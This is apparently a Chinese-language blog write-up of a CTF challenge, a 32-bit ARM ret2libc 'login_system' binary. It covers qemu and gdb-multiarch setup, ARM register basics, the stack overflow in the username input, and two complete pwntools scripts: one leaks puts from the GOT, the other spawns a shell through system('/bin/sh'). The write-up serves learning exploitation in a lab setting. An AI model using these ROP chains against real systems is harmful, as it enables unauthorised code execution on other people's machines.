ARM 架构 PWN ret2libc初探

ARM 架构 PWN ret2libc初探

2025 领航杯 pwn 方向只有一个arm架构下的简单ret2libc(题目名为armrop)。这是我第一次打arm架构的pwn,正好看看arm pwn的打法。如果有amd pwn基础,上手其实很快。

本文环境配置和基础知识部分参考文章: 32位、64位下arm_pwn学习 (原文略有小错)

比赛提供的附件:

  • login_system:no canary,no pie,32位小端序

  • libc-2.27.so

image-20251011194543194

需要附件可以从本站如下路径下载:

  • /attachments/2025lhb/exp.py :泄露 libc 代码

  • /attachments/2025lhb/exp2.py:获取 shell 代码(至于为什么和获取libc的分开,后面会说)

  • /attachments/2025lhb/libc-2.27.so:比赛提供的 libc

  • /attachments/2025lhb/login_system:题目附件

环境配置

由于我的电脑是AMD64,不能直接运行ARM程序,所以需要额外配置一下

已经配置过的读者可以跳过这一部分

比赛现场装环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sudo apt-get update
# 安装qemu
sudo apt-get install qemu-user
# 安装32位的依赖库
sudo apt-get install -y gcc-arm-linux-gnueabi
# 运行32位的动态链接程序方法
qemu-arm -L /usr/arm-linux-gnueabi ./文件
# 安装64位的依赖库
sudo apt-get install -y gcc-aarch64-linux-gnu g++-aarch64-linux-gnu
# 运行64位的动态链接程序方法
qemu-aarch64 -L /usr/aarch64-linux-gnu ./文件

# 32位本地libc位于:/usr/arm-linux-gnueabi/libc.so.6
# 64位本地libc位于:/usr/aarch64-linux-gnu/libc.so.6

image-20251011193625896

这样就可以本地运行了。这里我的文件名带有 _patch 是因为nop掉了一个定时

需要调试的话还需要继续配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 安装gdb调试工具
sudo apt-get install git gdb gdb-multiarch

# 接下来,无论32位还是64位,都需要两个终端 A、B
# 在 A 终端运行:
qemu-arm -g 可用端口 -L /usr/arm-linux-gnueabi 附件路径
# 注意,这是32位命令,64位需要使用:qemu-aarch64 -g 端口 -L /usr/aarch64-linux-gnu 附件路径
# 32位示例:qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./login_system_patch
# 64位示例:qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./login_system_patch
# 保持 A 终端开启

# 在 B 终端运行
gdb-multiarch 附件路径
# 例如:gdb-multiarch ./login_system_patch
# 进入gdb界面后,使用命令:
pwndbg> target remote :端口
# 这里的端口和上面保持一致
# 例如:target remote :1234
# 就可以进入调试了

image-20251011195107311

注意,在这种情况下,gdb调试命令与平常不同,next (n)单步执行(不进入函数) 变成了类似平常gdb的 step (s) 单步执行(进入函数)。至于其他不同,我还没研究过。针对这种情况,还不知道比较方便的解决办法。(虽然可以用 大量断点 + continue ©,但是太麻烦了)

ARM 寄存器和汇编基础

基础汇编

image-20251011202804858

寄存器

lr、sp、pc三大寄存器

r14(LR) : 连接寄存器。每种模式下r14都有自身版组,它有两个特殊功能。

  • (1)保存子程序返回地址。使用BL或BLX时,跳转指令自动把返回地址放入r14中;子程序通过把r14复制到PC来实现返回(1)保存子程序返回地址。使用BL或BLX时,跳转指令自动把返回地址放入r14中;子程序通过把r14复制到PC来实现返回

  • 当异常发生时,异常模式的r14用来保存异常返回地址,将r14如栈可以处理嵌套中断。

r13(SP) :堆栈指针。每一种异常模式都有其自己独立的r13,它通常指向异常模式所专用的堆栈,也就是说五种异常模式、非异常模式(用户模式和系统模式),都有各自独立的堆栈,用不同的堆栈指针来索引。这样当ARM进入异常模式的时候,程序就可以把一般通用寄存器压入堆栈,返回时再出栈,保证了各种模式下程序的状态的完整性。

r15(PC) :程序计数器。PC是有读写限制的。当没有超过读取限制的时候,读取的值是指令的地址加上8个字节,由于ARM指令总是以字对齐的,故bit[1:0]总是00。当用str或stm存储PC的时候,偏移量有可能是8或12等其它值。在V3及以下版本中,写入bit[1:0]的值将被忽略,而在V4及以上版本写入r15的bit[1:0]必须为00,否则后果不可预测。

32位寄存器

arm32只有16个32bit的通用寄存器,r0到r12,lr,pc,sp,函数调用时,前4个参数是压入寄存器的(r0、r1、r2、r3),后面的参数是压入栈中的

R0-R12:可在常规操作期间用于存储临时值,指针(到存储器的位置)等

R0在算术操作期间可称为累加器,或用于存储先前调用的函数返回结果

R7在处理系统调用时非常有用,因为它存储系统调用号

R11帮助我们跟踪用作帧指针的堆栈的边界

ARM上的函数调用约定指定函数的前四个参数存储在寄存器r0-r3中,剩下的再存入栈中

R13:SP(堆栈指针)。堆栈指针指向堆栈的顶部。堆栈是用于函数特定存储的内存区域,函数返回时将对其进行回收。因此,通过从堆栈指针中减去我们要分配的值(以字节为单位),堆栈指针可用于在堆栈上分配空间。换句话说,如果我们要分配一个32位值,则从堆栈指针中减去4

R14:LR(链接寄存器)。进行功能调用时,链接寄存器将使用一个内存地址进行更新,该内存地址引用了从其开始该功能的下一条指令。这样做可以使程序返回到“父”函数,该子函数在“子”函数完成后启动“父”函数调用

R15:PC(程序计数器)。程序计数器自动增加执行指令的大小。在ARM状态下,此大小始终为4个字节,在THUMB模式下,此大小始终为2个字节。当执行转移指令时,PC保留目标地址。在执行期间,PC在ARM状态下存储当前指令的地址加8(两个ARM指令),在Thumb(v1)状态下存储当前指令的地址加4(两个Thumb指令)。这与x86不同,x86中PC始终指向要执行的下一条指令

image-20251011205725682

image-20251011205849887

程序分析与攻击

第一次做arm题,没想到我的ida没法对arm反汇编,硬是盯着汇编做题。在写这篇文章时候才想起来有在线反编译工具(比如https://dogbolt.org/)。不过好在程序很简单,汇编并不复杂。如果你和我一样ida无法反编译,可以选择在线工具和ida对照着看。

首先main函数只调用两个函数:sub_10564 sub_105D0

image-20251011201132680

image-20251011201014047

sub_10564 是一个初始化函数,可以不管。其中alarm会限制程序时间为1分钟,本地调试可以nop掉(这就是为什么我之前的文件名是login_system_patch):

image-20251011201212923

image-20251011201453832

sub_105D0 是程序主要逻辑,如下:

image-20251011201703826

很明显,输入Username部分可以输入512字节,而数组只有256字节,存在溢出,而且strncmp只比较前五个字符。只需要输入b"admin" + b"a"*(256-5) + p32(0xdeadbeef) + ...(rop链) 即可。

至于输入密码部分,和输入Username部分有相同的溢出,用同一个payload就可以。

那么泄露libc部分payload构造如下:

1
2
3
4
5
6
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

payload1 = b'admin'+b'a'*(260-5)
payload1 += ...(将puts_got放入r0)
payload1 += p32(puts_plt)

接下来就是找控制r0的gadgets。

可以用Ropgadgets来找,但是我的Ropgadgets无法正确处理arm架构,只能硬看了。

这里可用的只找到 MOV R0, R3 (很多,这里选用了0x106c0),没有直接的POP R0 。那么可以控制 R3 来间接控制 R0。在0x10730,可以找到 POP {R3,PC}

image-20251011210642194

那么方式就很明显,通过 POP {R3,PC}将puts_got放入R3,然后MOV R0, R3,就可以将puts_got放入R0。

1
2
3
4
5
6
7
8
9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

payload1 = b'admin'+b'a'*(260-5)
payload1 += p32(pop_r3_pc_addr)
payload1 += p32(puts_got)
payload1 += p32(mov_r0_r3_pop_r11_pc_addr)
payload1 += p32(0)
payload1 += p32(puts_plt)

这样便泄露了puts的地址。

完善一下计算libc部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(arch="arm", os="linux")
context.log_level = "debug"

p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', './login_system_patch'])
libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
elf = ELF("./login_system_patch")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

pop_r3_pc_addr = 0x10730
mov_r0_r3_pop_r11_pc_addr = 0x106c0
payload1 = b'admin'+b'a'*(260-5)
payload1 += p32(pop_r3_pc_addr)
payload1 += p32(puts_got)
payload1 += p32(mov_r0_r3_pop_r11_pc_addr)
payload1 += p32(0)
payload1 += p32(puts_plt)

p.sendlineafter("Username:", payload1)
p.sendlineafter("Password:", payload1)
p.recvuntil("Wrong Password!\n")
puts_addr = u32(p.recv(4))
# log.success(hex(puts_addr))
libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b"/bin/sh"))
log.success(hex(system_addr))
log.success(hex(binsh_addr))
log.success(hex(libc.address))

p.interactive()

image-20251011211350316

可见libc已经成功泄露了

接下来比较投机取巧。按照常理,应该在payload后面添加返回地址进行二次读,但是尝试多次后,发现无法跳转,但是尝试过程发现libc基地址是不变的(比赛过程远程环境也没有变)。利用这一特性,直接在新的脚本(也可以在下面直接接着写),按照泄露libc的方式,填入/bin/sh和system地址

本地测试时,地址如下:

1
2
3
[+] system 地址 0x408823d4
[+] /bin/sh 地址 0x409aa0dc
[+] libc 基地址 0x4083c000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

context(arch="arm", os="linux")
context.log_level = "debug"
# p = process(['qemu-arm', '-g', '1234', '-L', '/usr/arm-linux-gnueabi', './login_system_patch'])
p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', './login_system_patch'])

libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
elf = ELF("./login_system")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

pop_r3_pc_addr = 0x10730
mov_r0_r3_pop_r11_pc_addr = 0x106c0
payload1 = b'admin'+b'a'*(260-5)
payload1 += p32(pop_r3_pc_addr)
payload1 += p32(0x409aa0dc)
payload1 += p32(mov_r0_r3_pop_r11_pc_addr)
payload1 += p32(0)
payload1 += p32(0x408823d4)

p.sendlineafter("Username:", payload1)
p.sendlineafter("Password:", payload1)

p.interactive()

利用成功:

image-20251011212138352